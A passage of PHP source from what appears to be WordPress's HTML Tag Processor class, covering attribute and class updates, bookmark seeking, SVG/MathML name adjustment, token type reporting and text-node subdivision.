			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
	 * be modified. Namely, "bogus comments" of the form `<?not allowed in html>`
	 * will create a comment whose text content starts with `?`. Note that if
	 * that character were modified, it would be possible to change the node
	 * type.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null The comment text as it would appear in the browser or null
	 *                     if not on a comment type node.
	 */
	public function get_full_comment_text(): ?string {
		if ( self::STATE_FUNKY_COMMENT === $this->parser_state ) {
			return $this->get_modifiable_text();
		}

		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		switch ( $this->get_comment_type() ) {
			case self::COMMENT_AS_HTML_COMMENT:
			case self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT:
				return $this->get_modifiable_text();

			case self::COMMENT_AS_CDATA_LOOKALIKE:
				return "[CDATA[{$this->get_modifiable_text()}]]";

			case self::COMMENT_AS_PI_NODE_LOOKALIKE:
				return "?{$this->get_tag()}{$this->get_modifiable_text()}?";

			/*
			 * This represents "bogus comments state" from HTML tokenization.
			 * This can be entered by `<?` or `<!`, where `?` is included in
			 * the comment text but `!` is not.
			 */
			case self::COMMENT_AS_INVALID_HTML:
				$preceding_character = $this->html[ $this->text_starts_at - 1 ];
				$comment_start       = '?' === $preceding_character ? '?' : '';
				return "{$comment_start}{$this->get_modifiable_text()}";
		}

		return null;
	}

	/**
	 * Subdivides a matched text node, splitting NULL byte sequences and decoded whitespace as
	 * distinct nodes prefixes.
	 *
	 * Note that once anything that's neither a NULL byte nor decoded whitespace is
	 * encountered, then the remainder of the text node is left intact as generic text.
	 *
	 *  - The HTML Processor uses this to apply distinct rules for different kinds of text.
	 *  - Inter-element whitespace can be detected and skipped with this method.
	 *
	 * Text nodes aren't eagerly subdivided because there's no need to split them unless
	 * decisions are being made on NULL byte sequences or whitespace-only text.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "\x00Apples & Oranges" );
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "".
	 *     true  === $processor->next_token();                   // Text is "Apples & Oranges".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 *     $processor = new WP_HTML_Tag_Processor( "&#x13; \r\n\tMore" );
	 *     true  === $processor->next_token();                   // Text is "␤ ␤␉More".
	 *     true  === $processor->subdivide_text_appropriately(); // Text is "␤ ␤␉".
	 *     true  === $processor->next_token();                   // Text is "More".
	 *     false === $processor->subdivide_text_appropriately();
	 *
	 * @since 6.7.0
	 *
	 * @return bool Whether the text node was subdivided.
	 */
	public function subdivide_text_appropriately(): bool {
		if ( self::STATE_TEXT_NODE !== $this->parser_state ) {
			return false;
		}

		$this->text_node_classification = self::TEXT_IS_GENERIC;

		/*
		 * NULL bytes are treated categorically different than numeric character
		 * references whose number is zero. `&#x00;` is not the same as `"\x00"`.
		 */
		$leading_nulls = strspn( $this->html, "\x00", $this->text_starts_at, $this->text_length );
		if ( $leading_nulls > 0 ) {
			$this->token_length             = $leading_nulls;
			$this->text_length              = $leading_nulls;
			$this->bytes_already_parsed     = $this->token_starts_at + $leading_nulls;
			$this->text_node_classification = self::TEXT_IS_NULL_SEQUENCE;
			return true;
		}

		/*
		 * Start a decoding loop to determine the point at which the
		 * text subdivides. This entails raw whitespace bytes and any
		 * character reference that decodes to the same.
		 */
		$at  = $this->text_starts_at;
		$end = $this->text_starts_at + $this->text_length;
		while ( $at < $end ) {
			$skipped = strspn( $this->html, " \t\f\r\n", $at, $end - $at );
			$at     += $skipped;

			if ( $at < $end && '&' === $this->html[ $at ] ) {
				$matched_byte_length = null;
				$replacement         = WP_HTML_Decoder::read_character_reference( 'data', $this->html, $at, $matched_byte_length );
				if ( isset( $replacement ) && 1 === strspn( $replacement, " \t\f\r\n" ) ) {
					$at += $matched_byte_length;
					continue;
				}
			}

			break;
		}

		if ( $at > $this->text_starts_at ) {
			$new_length                     = $at - $this->text_starts_at;
			$this->text_length              = $new_length;
			$this->token_length             = $new_length;
			$this->bytes_already_parsed     = $at;
			$this->text_node_classification = self::TEXT_IS_WHITESPACE;
			return true;
		}

		return false;
	}

	/**
	 * Returns the modifiable text for a matched token, or an empty string.
	 *
	 * Modifiable text is text content that may be read and changed without
	 * changing the HTML structure of the document around it. This includes
	 * the contents of `#text` nodes in the HTML as well as the inner
	 * contents of HTML comments, Processing Instructions, and others, even
	 * though these nodes aren't part of a parsed DOM tree. They also contain
	 * the contents of SCRIPT and STYLE tags, of TEXTAREA tags, and of any
	 * other section in an HTML document which cannot contain HTML markup (DATA).
	 *
	 * If a token has no modifiable text then an empty string is returned to
	 * avoid needless crashing or type errors. An empty string does not mean
	 * that a token has modifiable text, and a token with modifiable text may
	 * have an empty string (e.g. a comment with no contents).
	 *
	 * Limitations:
	 *
	 *  - This function will not strip the leading newline appropriately
	 *    after seeking into a LISTING or PRE element. To ensure that the
	 *    newline is treated properly, seek to the LISTING or PRE opening
	 *    tag instead of to the first text node inside the element.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Replaces NULL bytes (U+0000) and newlines appropriately.
	 *
	 * @return string
	 */
	public function get_modifiable_text(): string {
		$has_enqueued_update = isset( $this->lexical_updates['modifiable text'] );

		if ( ! $has_enqueued_update && ( null === $this->text_starts_at || 0 === $this->text_length ) ) {
			return '';
		}

		$text = $has_enqueued_update
			? $this->lexical_updates['modifiable text']->text
			: substr( $this->html, $this->text_starts_at, $this->text_length );

		/*
		 * Pre-processing the input stream would normally happen before
		 * any parsing is done, but deferring it means it's possible to
		 * skip in most cases. When getting the modifiable text, however
		 * it's important to apply the pre-processing steps, which is
		 * normalizing newlines.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$text = str_replace( "\r\n", "\n", $text );
		$text = str_replace( "\r", "\n", $text );

		// Comment data is not decoded.
		if (
			self::STATE_CDATA_NODE === $this->parser_state ||
			self::STATE_COMMENT === $this->parser_state ||
			self::STATE_DOCTYPE === $this->parser_state ||
			self::STATE_FUNKY_COMMENT === $this->parser_state
		) {
			return str_replace( "\x00", "\u{FFFD}", $text );
		}

		$tag_name = $this->get_token_name();
		if (
			// Script data is not decoded.
			'SCRIPT' === $tag_name ||

			// RAWTEXT data is not decoded.
			'IFRAME' === $tag_name ||
